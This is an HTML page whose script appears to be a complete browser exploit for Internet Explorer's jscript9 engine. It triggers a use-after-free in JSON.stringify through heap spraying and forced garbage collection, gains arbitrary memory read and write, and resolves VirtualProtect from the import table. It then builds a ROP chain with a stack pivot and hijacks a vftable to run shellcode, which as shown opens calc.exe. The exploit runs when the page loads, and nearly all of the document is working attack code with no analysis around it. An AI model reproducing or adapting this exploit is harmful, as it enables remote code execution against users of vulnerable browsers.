<html> <body> <script> ARR_SIZE = 3248; first_gadget_offsets = [150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476]; stackpivot_gadget_offsets = [122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542]; first_gadget = [0x89, 0x41, 0x0c, 0xc3]; stackpivot_gadget = [0x94, 0xc3]; gadget_offsets = {"stackpivot": 0, "g1": 0, "g2": 0}; function empty_replacer(a,b) { return b; } function create_list(lst, depth) { if (depth > 5) { return; } else { // Creates 19 objects in each nested list for (i = 0; i <= 19; i++) { // Create random string with length 8 for (var val = "", c = 0; c <= 8; c++) { rnd = Math.floor((Math.random() * 90) + 48); l = String.fromCharCode(rnd); val = val + l; } lst["a" + i] = val; } create_list(lst["a0"] = {}, depth + 1); } } function create_triggering_json() { var lst = {} create_list(lst, 0); return lst; } // Create vulnerable JSON trig_json = create_triggering_json(); spray = new Array(4096); buff = new ArrayBuffer(4); size = 0; // Heap Spray var I = setInterval(function(){ for (i=0;i<400;i++,size++) { spray[size] = new Array(15352); for (j = 0; j< 85;j++) { spray[size][j] = new Uint32Array(buff); } 0 == i && (yb = spray[0][0]["length"], yb["toString"](16)) } size >= (4096) && (clearInterval(I), uaf()) }, 100); var arr = [] function uaf() { JSON.stringify(trig_json,empty_replacer); var pattern = [311357464,311357472,311357464]; for (var b = 3248 * 2, c = 203; c < b; c++) arr[c] = new ArrayBuffer(12); for (c = 203; c < b; c++) { var data = new Uint32Array(arr[c],0); a = 0; for (var i = data["length"] / pattern["length"]; a < i; a++) for (var d=0, e = pattern["length"]; d < e;d++) data[a+d] = pattern[d]; } CollectGarbage(); search_corrupted_array(); } var damaged_array; function search_corrupted_array() { for (i=0;i<4096;i++) { for (j = 0; j< 85;j++) { if (spray[i][j].length != 1) { damaged_array = spray[i][j]; damaged_array[1] = 0x7fffffff; // Set array to include almost entire user-space damaged_array[2] = 0x10000; write_dword_to_addr(damaged_array, 0x128e0020, 0xDEC0DE * 2 | 1); // Mark the first element of one of the arrays, to find it later for (k = 0; k < 4096; k++) { // find the marked array if (spray[k][0] == 0xDEC0DE) { break; } } // now spray[k][0] is 0x128e0020 if (k == 4096) break; spray[k][2] = new Array(1); // creates a native integer array, pointed by 0x128e0028 spray[k][2][0] = new ArrayBuffer(0xc); // turns the array to be JavascriptArray arr_obj = read_dword_from_addr(damaged_array, 0x128e0028); // address of the new JavascriptArray object jscript9_base_addr = read_dword_from_addr(damaged_array, arr_obj) & 0xffff0000; // read the first dword of the JavascriptArray object, which is the vftable pointer, null the lower word to get jscript9 base address vp_addr = get_vp_addr(damaged_array, jscript9_base_addr); // virtual address of kernel32!VirtualProtectStub if (vp_addr == 0) break; arrbuf = new ArrayBuffer(0x5000); // this buffer will contain the ROP chain spray[k][0] = new Uint32Array(arrbuf); // Uint32Array that is a view to the arraybuffer above, pointed by 0x128e0020 rc_buf_ui32_obj = read_dword_from_addr(damaged_array, 0x128e0020); // address of the Uint32Array object rc_buf_ui32_data = read_dword_from_addr(damaged_array, rc_buf_ui32_obj + 0x20); // address of first element of Uint32Array above var shellcode_caller = [0x53, 0x55, 0x56, 0xe8, 0x09, 0x00, 0x00, 0x00, 0x5e, 0x5d, 0x5b, 0x8b, 0x63, 0x0c, 0xc2, 0x0c, 0x00, 0x90]; var shellcode = [96, 49, 210, 82, 104, 99, 97, 108, 99, 84, 89, 82, 81, 100, 139, 114, 48, 139, 118, 12, 139, 118, 12, 173, 139, 48, 139, 126, 24, 139, 95, 60, 139, 92, 31, 120, 139, 116, 31, 32, 1, 254, 139, 84, 31, 36, 15, 183, 44, 23, 66, 66, 173, 129, 60, 7, 87, 105, 110, 69, 117, 240, 139, 116, 31, 28, 1, 254, 3, 60, 174, 255, 215, 88, 88, 97, 195]; // open calc.exe shellcode spray[k][1] = new Uint8Array(shellcode_caller.concat(shellcode)); // shellcode, pointed by 0x128e0024 sc_obj = read_dword_from_addr(damaged_array, 0x128e0024); // address of the Uint8Array object containing the shellcode sc_data = read_dword_from_addr(damaged_array, sc_obj + 0x20); // address of the shellcode buffer itself construct_gadget_dict(damaged_array, jscript9_base_addr); // construct the ROP chain spray[k][0][0] = jscript9_base_addr + gadget_offsets["g1"]; // mov dword ptr [ecx+0c], eax # ret spray[k][0][1] = jscript9_base_addr + gadget_offsets["g2"]; // ret spray[k][0][2] = vp_addr; // VirtualProtectStub pointer spray[k][0][3] = sc_data; // shellcode address (return address to which we return after VirtualProtect) spray[k][0][4] = sc_data; // lpAddress spray[k][0][5] = spray[k][1].length; // dwSize spray[k][0][6] = 0x40; // flNewProtect = PAGE_EXECUTE_READWRITE spray[k][0][7] = rc_buf_ui32_data + 0x20; // lpflOldProtect spray[k][0][0x90 / 4] = jscript9_base_addr + gadget_offsets["stackpivot"]; // stackpivot gadget in offset 0x90 from ROP chain top write_dword_to_addr(damaged_array, arr_obj, rc_buf_ui32_data); // overwrite the JavascriptArray object's vftable pointer with the address of the ROP chain spray[k][2][0] = 0; // set the first item of the overwritten JavascriptArray object, triggering the call to JavascriptArray::SetItem. since the vftable is now the ROP chain, and SetItem is in offset 0x90 in the original vftable, this will trigger the stackpivot gadget } } } } function get_index_from_addr(addr) { return Math.floor((addr - 0x10000) / 4); } function get_iat_offset(arr, js9_base) { return 0x3e6000; } function get_pe_header_offset(arr, js9_base) { var offset = read_dword_from_addr(arr, js9_base + 0x3c); return offset; } function get_import_table_offset(arr, js9_base) { var pe_header_offset = get_pe_header_offset(arr, js9_base); var pe_header = js9_base + pe_header_offset; var import_table_offset = read_dword_from_addr(arr, pe_header + 0x80); return import_table_offset; } function get_import_table_size(arr, js9_base) { var pe_header_offset = get_pe_header_offset(arr, js9_base); var pe_header = js9_base + pe_header_offset; var import_table_size = read_dword_from_addr(arr, pe_header + 0x84); return import_table_size; } function get_vp_addr(arr, js9_base) { var kernel32_entry = get_kernel32_entry(arr, js9_base); var string_pointers_offset = read_dword_from_addr(arr, kernel32_entry - 0xc); var function_pointers_offset = read_dword_from_addr(arr, kernel32_entry + 0x4); var func_name = new String(); for (fptr = js9_base + function_pointers_offset, sptr = js9_base + string_pointers_offset; fptr != 0 && sptr != 0; fptr += 4, sptr += 4) { func_name = read_string_from_addr(arr, js9_base + read_dword_from_addr(arr, sptr) +2); if (func_name.indexOf("VirtualProtect") > -1) { return read_dword_from_addr(arr, fptr); } } return 0; } function get_kernel32_entry(arr, js9_base) { var it_addr = js9_base + get_import_table_offset(arr, js9_base); var it_size = get_import_table_size(arr, js9_base); var s = new String(); for (var next_addr = it_addr + 0xc; next_addr < js9_base + it_addr + it_size; next_addr += 0x14) { var it_entry = read_dword_from_addr(arr, next_addr); if (it_entry != 0) { s = read_string_from_addr(arr, js9_base + it_entry); if (s.indexOf("KERNEL32") > -1 || s.indexOf("kernel32") > -1) { return next_addr; } } } return 0; } function read_dword_from_addr(arr, addr) { return arr[get_index_from_addr(addr)]; } function read_byte_from_addr(arr, addr) { var mod = addr % 4; var ui32 = read_dword_from_addr(arr, addr); return ((ui32 >> (mod * 8)) & 0x000000ff); } function read_string_from_addr(arr, addr) { var s = new String(); var i = 0; for (i = addr, c = "stub"; c != String.fromCharCode(0); i++) { c = String.fromCharCode(read_byte_from_addr(arr, i)); s += c; } return s; } function write_dword_to_addr(arr, addr, data) { arr[get_index_from_addr(addr)] = data; } function find_gadget_offset(arr, js9_base, offsets, gadget, gadget_key) { var first_dword = 0x0, second_dword = 0x0, g = 0; var gadget_candidate = []; for (g = 0; g < offsets.length; g++) { first_dword = read_dword_from_addr(arr, js9_base + offsets[g]); second_dword = read_dword_from_addr(arr, js9_base + offsets[g] + 4); gadget_candidate = convert_reverse_ui32_to_array(first_dword); gadget_candidate = gadget_candidate.concat(convert_reverse_ui32_to_array(second_dword)); if (contains_gadget(gadget_candidate, gadget)) { gadget_offsets[gadget_key] = offsets[g]; break; } } } function construct_gadget_dict(arr, js9_base) { find_gadget_offset(arr, js9_base, first_gadget_offsets, first_gadget, "g1"); find_gadget_offset(arr, js9_base, stackpivot_gadget_offsets, stackpivot_gadget, "stackpivot"); if (gadget_offsets["stackpivot"] > 0) { gadget_offsets["g2"] = gadget_offsets["stackpivot"] + 1; } } function contains_gadget(arr, sub) { var i = 0; for (i = 0; i < sub.length; i++) { if (arr.indexOf(sub[i]) == -1) return false; } return true; } function convert_reverse_ui32_to_array(ui32) { var arr = []; var i = 0; var tmp = ui32; for (i = 0; i < 4; i++, tmp = tmp >> 8) { arr.push(tmp & 0x000000ff); } return arr; } </script> </body> </html>